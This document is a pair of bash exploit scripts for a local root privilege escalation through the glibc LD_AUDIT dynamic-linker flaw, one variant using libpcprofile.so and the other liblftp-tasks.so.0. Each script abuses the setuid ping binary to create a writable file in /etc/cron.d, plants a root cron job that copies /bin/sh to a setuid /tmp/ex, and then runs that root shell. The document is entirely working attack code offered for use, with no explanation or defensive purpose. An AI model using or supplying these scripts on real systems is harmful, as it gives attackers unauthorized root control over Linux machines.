#!/bin/bash
echo ""
echo "DSO GNU-C PCPROF dynamic-linker exploit using BASH not DASH! (coded by xd) bug by taviso"
echo "[+] Starting..";
echo ""
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/ex" ping
printf "* * * * * root cp /bin/sh /tmp/ex; chmod u+sx /tmp/ex\n" > \
/etc/cron.d/ex
echo "[!] waiting for shell..";
if [ /tmp/ex ]; then
echo "[!] Got root, jumping to '/tmp/ex' suid shell now..";
/tmp/ex
else
echo "[-] Sorry, exploit failed."
su
id
fi

## AND LFTP method DSO

#!/bin/bash
echo ""
echo "DSO LFTP_HOME GNU-C dynamic-linker exploit using BASH not DASH! (coded by xd) bug by taviso"
echo "[+] Starting..\n";
echo ""
umask 0
LD_AUDIT="liblftp-tasks.so.0" LFTP_HOME="/etc/ex" ping
printf "* * * * * root cp /bin/sh /tmp/ex; chmod u+sx /tmp/ex\n" > \
/etc/cron.d/ex
echo "[!] waiting for shell..";
if [ /tmp/ex ]; then
echo "[!] Got root, jumping to '/tmp/ex' suid shell now..";
/tmp/ex
else
echo "[-] Sorry, exploit failed."
su
id
fi